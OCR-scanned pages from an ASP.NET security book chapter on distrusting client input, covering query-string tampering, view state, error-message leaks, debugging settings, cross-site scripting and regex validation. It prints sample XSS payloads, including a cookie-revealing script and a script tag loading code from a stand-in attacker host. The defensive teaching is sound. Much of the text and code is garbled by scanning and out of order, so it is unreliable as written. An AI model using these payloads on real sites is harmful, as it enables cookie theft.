Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Professional ASP.NET Security - Jeff Ferguson

.pdf
Скачиваний:
28
Добавлен:
24.05.2014
Размер:
13.26 Mб
Скачать

Treating the Client with Caution

URLVariations_CS.aspx?Qry=HzxyNIBFQKPN@Xf{jBYwzj@Uf1JNIB7S

In the Page_Load event, we read the query string information, decode it, and show the information in the labels:

String sDecoded = decode(ReadQueryString("Qry"));

String sEncoded = encode("CustID=ALPKI;Save=True;PageID=2;");

String [] strQry = sDecoded.Split(';');

url.NavigateUrl = "URLVariations_CS.aspx?Qry=" + sEncoded; IblEnc.Text = sEncoded; IblDec.Text = sDecoded;

//Parse all the values in the query string and display it in the label sb.Append("<BR>");

for(int i=0; i < strQry.Length; i++) sb.Append(strQry[i] + "<BR>");

IblParams.Text = sb.ToString();

When we run this, we should see the following:

URL Encoding

Reload

Encoded Value: HzxyNIBFQKPN®xf{jBYwzj@>Uf!jNIB7<[J)

Decoded Value: CustID=ALFKI;Save=True;PageID=2;

QueryString Parameter(s):

CustID=ALFKI

Save=True

PageID=2

As you can see, we pass all the values, separated by semicolon. In this way, our web application will not leak any information.

URL Encoding

Reload

Encoded Value: HzxyNIBFQKPN@Xf{jBYwzJ@UfljN!B7gi

Decoded Value: CustID;Save=True;PageID=2;

QueryString Parameters):

CustID

Save=True

PageID=2

As you can see, tampered values are very easily detectable, since they'll fail in the format. For example, in the tampered URL, the value of the CustID parameter is missing, and we can detect this, since it is missing the = character. This method isn't tamper proof. Anyone can still tamper with the parameter. Of course, the URL can be very easily decoded. So, as a rule of thumb, we should not use it to store and pass sensitive information in any form, and we should prepare our application to deal with tampered values.

View State

All the ASP.NET server control view state information is stored in a hidden variable called

_ VIEWSTATE. The view state information is stored as an encoded (not encrypted) string value in the hidden variable. The data integrity of the view state information is checked every time the value is posted back to the server. The encoded view state string includes a MAC (Message Authentication Check) hash appended to it. Therefore, the view state string is not tamper proof: it can be read when passed over the Internet, and can be tampered with, since it is stored in a hidden field, although the tampered-with view state will be rejected by the server.

The following screenshot shows how the corrupted or tampered view state information is handled by the ASP.NET runtime. It is very important that we track this exception.

a The View state is Invalid lor this page and might be corrupted. - Microsoft Inter

-Jflt

Ffe

£tft

$ew Favorites

loots

Be|(

 

>8sck - •»

• 'd ^3 4 •

^Search

JJFaverites

 

Server Error in '/Chl2l Application.

The View State is invalid for this page and might be corrupted.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System .Web .HttpException. The View State is invalid for this page and might be corrupted.

Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

' -^

**t Kfe 3 u- ? j&jj^j A J1* e» j |tf

 

 

 

,Done

If you want to make the view state not readable over the Internet, then SSL is the best way to protect the whole session. But it can still be tampered with at the hidden-variable level. So be sure to catch the HttpException in your code.

Preventing Information Leaks

A very common way to leak important information to the hacker is through error messages. In many cases, the error messages provide quantifiable information to the hacker about the application, platform, and so on. Consider the following code:

64

Treating the Client with Caution

String StrSQL = "SELECT CustomerlD, CompanyName, ContactName, " + "ContactTitle FROM Customers WHERE CustomerlD = 'ALFKI";

Notice that we're missing a single quote at the end of this query. If we try to execute this statement without any error handling, then we'll see the following - rather informative - screen.

Server Error in '/Chl2' Application.

Unclosed quotation mark before the character string 'ALFKI'.

Description: An unhondted exception occurred durhg the executton of the current wet) request Please review the stack trace tor rr information about the error and where ft originated in the code

Exception Details: System .Data SqiClient SqtException: Unclosed quotation mark before the character string 'ALFKI'

 

Source Error:

 

 

 

 

 

 

 

ine 17 ine 18

connection object

 

 

 

 

 

 

'Create a datareader,

 

 

 

 

 

 

PataGrd.DataSource -

 

 

 

 

 

 

 

 

SQLCmd.ExecuteRcaderCContnandBehai/ior.CloseConnection)

 

 

 

 

 

 

DataGrd.DataBindQ

 

 

 

 

 

 

 

 

End Sub

 

 

 

 

 

 

 

Source File: D Documents and SettingsVXdrrMnistratorCesktop\CH12>Exp1 ospx Line: 19

 

 

 

 

 

Stack Trace:

 

 

 

 

 

 

 

[SqlException: Unclosed quotation mark before the character string 'ALFKI'.]

 

 

 

 

 

 

System.Data.SqlCllent.SqlCrjtnnand,ExecuteReaderfCotitnandBehavior cmdBenavior,

RunBehavior

 

 

 

 

runBehavior* Sy stem. Oat a. Sql Client. Sql Cormand.ExecuteReader(ComnandBehavi or behavior) -t-9

 

 

 

 

ASP.Expl_Aspx.Page_Load(object Src,

EventArgs E) in D:\Docutnents and Setti ngs\Admi ni

 

 

 

 

strator^esktop' System.Web.Ul.Control.OnLoad(EventArgs e) -»-67 System.Web.Ul.Control.LoadRecursiveQ

 

 

 

 

+29 System.Web.Ul.Page.ProcessRequestMain() *724

 

 

 

 

 

 

 

 

 

 

 

If you've enabled debugging, we'll see source code-level information

 

 

about the

 

 

 

 

 

 

 

 

Version Information: Microsoft .NET Framework Version 1.0.3328-4; ASP .NET Version-1.0.3328.4

 

 

 

 

exception,

 

 

 

 

 

otherwise

we'll see

 

 

 

 

 

the stack

trace with a description of the exception. This page provides a great deal of information about the application.

Suppose you're handling the exception in your code in the following way (the full example can be found with the rest of the code in the code download):

try

//Create a datareader, connection object

dataGrd.DataSource = SQLCmd.ExecuteReader(CommandBehavior.CloseConnection); dataGrd.DataBind();

catch (Exception er)

IblExp.Text = er.ToStringf);

This kind of exception handling also provides a great deal of information about your code to the hacker.

Exceptions

System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string 'ALFKI'. at System.Data.SqlCtient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean retumStream) at

System.Data.SqlC(ient.Sq(Command.ExecuteReader(CommandBehavior behavior) at

ASP.Exp1_Aspx.Page_Load(Object Src, EventArgs E) in D:\Documents and

Controlling Error Messages

A better way to handle an exception is not to reveal any useful information about the exception to the user. Instead, log the exception into the event log, and display a generic error message that will be more informative to the honest user.

In the following approach, we do not leak any information, and we are not bombarded with unfriendly error messages:

try

//Create a datareader, connection object

DataGrd.DataSource = SQLCmd.ExecuteReader(CommandBehavior.CloseConnection) DataGrd.DataBind(); }

catch (Exception Er) {

//Write to the event log about current exception EventLog Log = new EventLog;

Log.Source = "ASP.NETApplication_Errors" ; Log.WriteEntry(Er.ToStringt), EventLogEntryType.Error);

//Display a generic information to the user IblExp.Text = "An Exception Occurred!";

Disabling Debugging and Tracing

ASP.NET provides a rich interface for debugging and tracing. As useful as these features are in the development cycle, they could prove deadly in the production environment. For example, ASP.NET tracing information can optionally be redirected to an external file. Even if this option is enabled, this could create lots of problems. The impact of not disabling the debugging and tracing options are they could provide key information, such as the database connection information, username-password pair, or SQL statement, giving any malicious users a wealth of information on the application infrastructure. Leaving these options turned on also impacts on the performance of the ASP.NET application.

66

Treating the Client with Caution

We can disable debugging and tracing at the page level using the @Page directive: <% @ Page Language="C#" Trace="False" Debug="False" %>

We can also disable them in the web. conf ig file or machine. conf ig files:

<trace enabled

=

'false'

/> compilation

debug

=

'false'/>

 

 

We can also disable debugging using the IIS Management Console. Right click on the Web Site or the Virtual Directory and go to the Home Directory tab. Then click the Configuration... button and select the file type for which you want to disable debugging. Then remove the Debug keyword from the Limit to: textbox.

Directory Security

j

HTTP Headers

j

Custom Errors

j

Server

Extensions Web Site | Operators | Performance | ISAP! Piters

Home Directory

Documents

 

 

 

 

 

 

 

*J

App Mappings | App Options | App Debugging |

P1 Cache iSAPt application r

Extension | Executable Path

C:\WINNT\System32\msw3p:l.

C:\WINNTSMicrosoft.NET\Fiarn

C:\WINNT\Micrasoft.NET\Fiar

C:\WINNT\Microsoft.NET\Fram

C: SWIN N T \M icrosoft N E T

N E T \Framework

Application Mappings

Limit to: |GET,HEAD,POS'

$? Script engine

 

 

f~ Check that fife exists

Cancei

Help

Summary

When it comes to developing an application, writing secure code should be the aim of every developer, since many vulnerabilities are caused by bad coding practices (sometimes the OS or the third-party component that we're using could have vulnerabilities), and through developers not being aware of the nature of certain types of threats. In this chapter, we've investigated some common types of vulnerabilities that we expose ourselves to when not treating the client with sufficient caution.

C-7

We've looked at various types of attacks that might be launched if we do not protect ourselves from the client, including script injection, cross-site scripting, and SQL injection attacks, and how we might use techniques such as validating, encoding, and filtering, to prevent these types of attack.

We also took a quick look at the importance of not leaking valuable information to our users, and how to ensure that any error messages that might be generated do not inadvertently provide the means for a malicious user to gain access to our server.

We investigated the dangers associated with using hidden form fields and cookies, and vulnerabilities such as HTTP referrer simulations, URL tampering, content sucking, passing query strings in the URL, and how to eliminate these holes.

68

The Page_Load event reads the QueryString parameter Search and retrieves the value for it. Then it calls the SearchDatastore method to retrieve the results for the search string. If it doesn't find any results for the search, then it will return false. Then the Page_Load event displays the message.

Everything is fine so far. However, let's suppose that the user types - or the other site sends - the following URL:

Process.Aspx?Search=<script>alert(CSS Attack);</script> The Page_Load event will

process the query string information and it'll display the following message.

Address fgj http ijlncalhosti'ct l2/processj:!.aspx?Search.<!cript>al<;rt(1CSS%20Aitack1)j<;script.>3 ^Go '•• Lln

Cross-Site Scripting Attack

The search keyword

*l

l

CSS Attack

I

File

iLcHt

View

Favorites

loofc

Help

 

 

 

|http!ffccatic«tAfrl2frfcCT«_cs.asp>7Search-<^^>^

^Go

Inks

Cross-Site Scripting Attack

The search keyword did not produce any results. Please try again.

l local intranet

In the same way, a user could insert a hyperlink like this:

<a href="Process_Cs.Aspx?Search=<script>alert(document.cookie);</script>">Click here</a>

ahttp:,/localhost/chl2/CrossSiteAHack.Mml-Mict

Ffc E*

w

Favorites

Tools Help

*• Back .

H>

- J3 3 j3

®5e«h

 

 

 

 

 

3

jJFavorites

 

 

 

 

 

 

 

Acjiess |^Jhttp:/;iocalhost/chl2/Cross5iteAttack.html

-Jsi

Simulating Cross-Site Scripting Attack

j Shortcut to script >

38

Treating the Client with Caution

When the user clicks on the link, they will be redirected to the new page, and all the original site's cookie information will be shown in an alert box. The JavaScript code runs inside the security context of the current domain, and performs tasks that would be illegal from outside the security context.

A d d r e s s

4 J] 41

• / / l o c a l h o s t / c ^ 3

M &

| ^ h t t p

 

Cross-Site Scripting Attack

The search keyword

Cart=Price= 10%2E20%2C24%3£95%2C23%2E3

•A2CSRI35-

J

In the same way, cookie information can be posted back to a different server, or can be altered.

Let's now take a look at a more advanced type of attack. Let's suppose our site collects technology news like WebServices.Org or Dotnetwire.com, from all over the web, and it also provides a web interface for the news providers to key in the technology news. At present, let's assume that we don't perform any kind of input validation. When the user enters the news, our application will save it in the database, and will show a preview of the news item.

This leaves open the possibility that a hacker may enter a news item such as:

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff.js'> </Script>

£^^EEC3S2EH^^2^^^^^JMBMHMI

jjjjjjjgjjjjjmjjjjjf.^

 

File Edit

View

Ffvotes

loots Hefe

 

 

 

•JaBack •

-i> " '.jj J]

dS

Q Search

 

 

 

jjfavot

 

 

 

-$-**, ^

£. a* 3 S S.

Address |fj h^p:il1ilr.-,!ih,:itilrh:;iiliie»s_C5,Aspx

 

 

2J <*So Links

News

 

 

J

 

 

 

 

Add News

 

News

 

 

 

 

 

 

 

 

 

 

 

Microsoft fortifies .Net

 

 

 

 

 

 

 

Microsoft sharpens tools

 

 

 

Here is a Cross-Site Script Attack

Aimina for the Web-Services

URL:

 

 

 

 

 

 

1

 

 

joust

 

 

 

:ript src=Tit1p://CssAt1ack com/dostuffjs'x/script>| -

Tracking down an exception

 

 

 

 

 

 

 

 

 

 

>Here is a Cross-Site Script

 

 

 

Attack

 

 

 

 

 

jj

 

 

 

 

 

 

 

&

 

 

 

 

|

IJ^i local intranet

Enter a valid US Social Security Number. </asp:RegularExpressionValidator>

<tdxasp:TextBox id=txtEmail runat=server MaxLength="40" /></td>

<asp:RequiredFieldValidator id="RFVEmail" runat="server" ControlToValidate="txtEmai1" Display="Dynamic"

Font-Name="Verdana" Font-Size="10pt">*</asp:RequiredFieldValidator> <asp:RegularExpressionValidator id="REVEmail" runat="server" ControlToValidate="txtEmai1" ValidationExpression="\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" Display="Static"

Font-Name="verdana" Font-Size="10pt">Enter a valid e-mail address </asp:RegularExpressionValidator>

<td><asp:TextBox id="txtPhone" runat=server MaxLength="14" /></td> <td> <asp:RequiredFieldValidator id="RFVPhone" runat="server" ControlToValidate="txtPhone"

Display="Dynamic"

Font-Name="Verdana" Font-Size="10pt"> *</asp:RequiredFieldValidator> <asp:RegularExpressionValidator id="REVPhone" ControlToValidate="txtPhone"

ValidationExpression=" (Ax\s*[0-9]{5}$) | (~(\([1-9] [0-9](2}\)\s)?[1-9] [0-9]{2} •[0-9]{4}(\sx\s*[0-9]{5})?$)"

Display="Static"

Font-Name="verdana" Font-Size="10pt"

runat=server>The Phone number should be in (XXX) XXX-XXXX format. </asp:RegularExpressionValidator>

As we can see from this code, we have four textboxes to accept username, Social Security Number, e-mail address, and telephone number. We're also using four RequiredFieldValidators and RegularExpressionvalidators. We've specified regular expressions for username, Social Security Number, e-mail, and phone numbers in the ValidationExpression property.

46

Treating the Client with Caution

gte

gdft

£iew

Paywftes

loots

$Medi* ,J

http://loca^ost/chl2/RegulafExpressionVa*dator_cs.aspx

Validating User Input with RegularExpressionValidator

User Name: |<Srinivasa>

Social Security Number 1^3.45 5795

Email: |<Srinivasa>@MY.com

" Enter a valid user name. Only A-Z, a-z and 0-• 9 are allowed.

Enter a valid US Social Security Number,

: Enter a valid e-mail address

" The Phone number should be m (XXX) XXX-JXXXX format.

If you want to use regular expressions, the System. Text .RegularExpress ions namespace provides several classes to use.

Validating phone numbers of multiple countries could be little tricky with the RegularExpressionValidator control. We can address this issue with a server-side custom validator or server-side event handler. For example, let say you want to validate the phone numbers based on the country the user had selected. This problem can be easily solved by using the server-side event handler with the Regex and Match classes.

void ValidatePhone(Object sender, EventArgs e) { String strCountry = DrpCountry.Selectedltem.Text; String sRegExp = "";

if (strCountry == "Japan")

sRegExp = "(0( \\d|\\d ))?\\d\\d \\d\\d(\\d \\d| \\d\\d )\\d\\d"; else if (strCountry == "France")

sRegExp = "((\\(0\\d\\d\\) (\\(0\\d{3}\\) )?\\d )?\\d\\d \\d\\d"+ "\\d\\d|\\(0\\d{4}\\) \\d \\d\\d-\\d\\d?)";

else if (strCountry == "Germany")

sRegExp = "(0\\d{l,4}-|\\(0\\d{l,4}\\) ?)?\\d{l,4}-\\d{4}»;

Regex phRegex = new Regex(sRegExp);

Match mPh = phRegex.Match(txtPhone.Text);

if ( mPh.Success ) {

 

 

IblValidationMsg.Text =

"The phone number validation for the country " +

strCountry

+ "

failed" ; } else

 

 

 

IblValidationMsg.Text

=

"You've enterd a valid phone number for

the country

"

+ strCountry; }

 

 

We're checking the country selected by the user in the DropDown server control. Based on the selected country, we're specifying the regular expression and we're using the Match class to validate the given user input.

47

Соседние файлы в предмете Программирование